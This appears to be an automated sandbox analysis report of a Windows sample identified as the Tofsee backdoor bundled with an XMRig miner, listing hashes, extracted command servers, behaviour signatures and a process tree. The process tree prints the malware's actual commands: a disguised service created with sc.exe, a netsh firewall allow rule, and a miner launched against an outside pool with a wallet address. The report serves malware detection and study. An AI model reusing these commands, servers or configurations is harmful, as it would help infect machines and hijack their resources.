Analysis

  • max time kernel
    147s
  • max time network
    159s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    12/10/2023, 11:37

General

  • Target

    file.exe

  • Size

    265KB

  • MD5

    0111f41e24e80b598a7a81c179432920

  • SHA1

    46c775825a4697946c0fd4b3cd6c881f46430748

  • SHA256

    bf15d707efcb789d6433f3701a1aa66b60ef87431d889c1f71bd01304139645c

  • SHA512

    085b08339bd21c71aa9a3c2a8facdacc4345218cd41b120b16a3dd57e8625cfba5e99e9ef46d77475492887d4cd1ee2426c42b6d8b2f4cae6a8730e6316c883f

  • SSDEEP

    3072:yvXXM+XBaPDKv1lLdixovWmoqtH6v+6+waC7NABBVy+Ya:Q3BODKv3dMovWmYv+TwaC7NCVy

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2268
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ophbwrci\
      2⤵
        PID:2084
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\brncxpnv.exe" C:\Windows\SysWOW64\ophbwrci\
        2⤵
          PID:2624
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ophbwrci binPath= "C:\Windows\SysWOW64\ophbwrci\brncxpnv.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2600
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ophbwrci "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2144
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ophbwrci
          2⤵
          • Launches sc.exe
          PID:2808
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2524
      • C:\Windows\SysWOW64\ophbwrci\brncxpnv.exe
        C:\Windows\SysWOW64\ophbwrci\brncxpnv.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1724
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2516
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2672

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Temp\brncxpnv.exe

              Filesize

              10.0MB

              MD5

              39fddcacf3d941c7e1085b9131e20d44

              SHA1

              76a5264bf08df7d5d6d666b4c3466cb6f12adbfd

              SHA256

              f4bd043c376613fab84435a1cafcc1ee9524f9fc89045bd136d0feedd1d6802e

              SHA512

              1110b2d0fa43e3274bdb75f37dd18656d84e3e5750e51f0e90e5c13908d91b51d1b3740a6457dc5db9434e26e69e394ec91994e5d7169beae751f3fb1165d364

            • C:\Windows\SysWOW64\ophbwrci\brncxpnv.exe

              Filesize

              10.0MB

              MD5

              39fddcacf3d941c7e1085b9131e20d44

              SHA1

              76a5264bf08df7d5d6d666b4c3466cb6f12adbfd

              SHA256

              f4bd043c376613fab84435a1cafcc1ee9524f9fc89045bd136d0feedd1d6802e

              SHA512

              1110b2d0fa43e3274bdb75f37dd18656d84e3e5750e51f0e90e5c13908d91b51d1b3740a6457dc5db9434e26e69e394ec91994e5d7169beae751f3fb1165d364

            • memory/1724-10-0x00000000007C0000-0x00000000008C0000-memory.dmp

              Filesize

              1024KB

            • memory/1724-15-0x0000000000400000-0x0000000000710000-memory.dmp

              Filesize

              3.1MB

            • memory/1724-16-0x0000000000400000-0x0000000000710000-memory.dmp

              Filesize

              3.1MB

            • memory/2268-1-0x00000000002D0000-0x00000000003D0000-memory.dmp

              Filesize

              1024KB

            • memory/2268-2-0x00000000001D0000-0x00000000001E3000-memory.dmp

              Filesize

              76KB

            • memory/2268-3-0x0000000000400000-0x0000000000710000-memory.dmp

              Filesize

              3.1MB

            • memory/2268-6-0x0000000000400000-0x0000000000710000-memory.dmp

              Filesize

              3.1MB

            • memory/2268-7-0x00000000001D0000-0x00000000001E3000-memory.dmp

              Filesize

              76KB

            • memory/2516-39-0x0000000000280000-0x0000000000290000-memory.dmp

              Filesize

              64KB

            • memory/2516-44-0x0000000000280000-0x0000000000290000-memory.dmp

              Filesize

              64KB

            • memory/2516-11-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2516-19-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2516-20-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2516-22-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2516-23-0x0000000001970000-0x0000000001B7F000-memory.dmp

              Filesize

              2.1MB

            • memory/2516-26-0x0000000001970000-0x0000000001B7F000-memory.dmp

              Filesize

              2.1MB

            • memory/2516-27-0x0000000000230000-0x0000000000236000-memory.dmp

              Filesize

              24KB

            • memory/2516-30-0x0000000000280000-0x0000000000290000-memory.dmp

              Filesize

              64KB

            • memory/2516-33-0x0000000000280000-0x0000000000290000-memory.dmp

              Filesize

              64KB

            • memory/2516-34-0x0000000000280000-0x0000000000290000-memory.dmp

              Filesize

              64KB

            • memory/2516-35-0x0000000000280000-0x0000000000290000-memory.dmp

              Filesize

              64KB

            • memory/2516-37-0x0000000000280000-0x0000000000290000-memory.dmp

              Filesize

              64KB

            • memory/2516-38-0x0000000000280000-0x0000000000290000-memory.dmp

              Filesize

              64KB

            • memory/2516-36-0x0000000000280000-0x0000000000290000-memory.dmp

              Filesize

              64KB

            • memory/2516-14-0x00000000000C0000-0x00000000000D5000-memory.dmp

              Filesize

              84KB

            • memory/2516-40-0x0000000000280000-0x0000000000290000-memory.dmp

              Filesize

              64KB

            • memory/2516-41-0x0000000000280000-0x0000000000290000-memory.dmp

              Filesize

              64KB

            • memory/2516-42-0x0000000000280000-0x0000000000290000-memory.dmp

              Filesize

              64KB

            • memory/2516-43-0x0000000000280000-0x0000000000290000-memory.dmp

              Filesize

              64KB

            • memory/2516-12-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2516-45-0x0000000000280000-0x0000000000290000-memory.dmp

              Filesize

              64KB

            • memory/2516-47-0x0000000000280000-0x0000000000290000-memory.dmp

              Filesize

              64KB

            • memory/2516-46-0x0000000000280000-0x0000000000290000-memory.dmp

              Filesize

              64KB

            • memory/2516-48-0x0000000000280000-0x0000000000290000-memory.dmp

              Filesize

              64KB

            • memory/2516-49-0x0000000000280000-0x0000000000290000-memory.dmp

              Filesize

              64KB

            • memory/2516-50-0x0000000000490000-0x0000000000495000-memory.dmp

              Filesize

              20KB

            • memory/2516-53-0x0000000000490000-0x0000000000495000-memory.dmp

              Filesize

              20KB

            • memory/2516-54-0x0000000005940000-0x0000000005D4B000-memory.dmp

              Filesize

              4.0MB

            • memory/2516-57-0x0000000005940000-0x0000000005D4B000-memory.dmp

              Filesize

              4.0MB

            • memory/2516-58-0x00000000004A0000-0x00000000004A7000-memory.dmp

              Filesize

              28KB

            • memory/2672-62-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/2672-63-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/2672-67-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2672-72-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/2672-71-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/2672-73-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/2672-74-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/2672-75-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/2672-76-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/2672-77-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB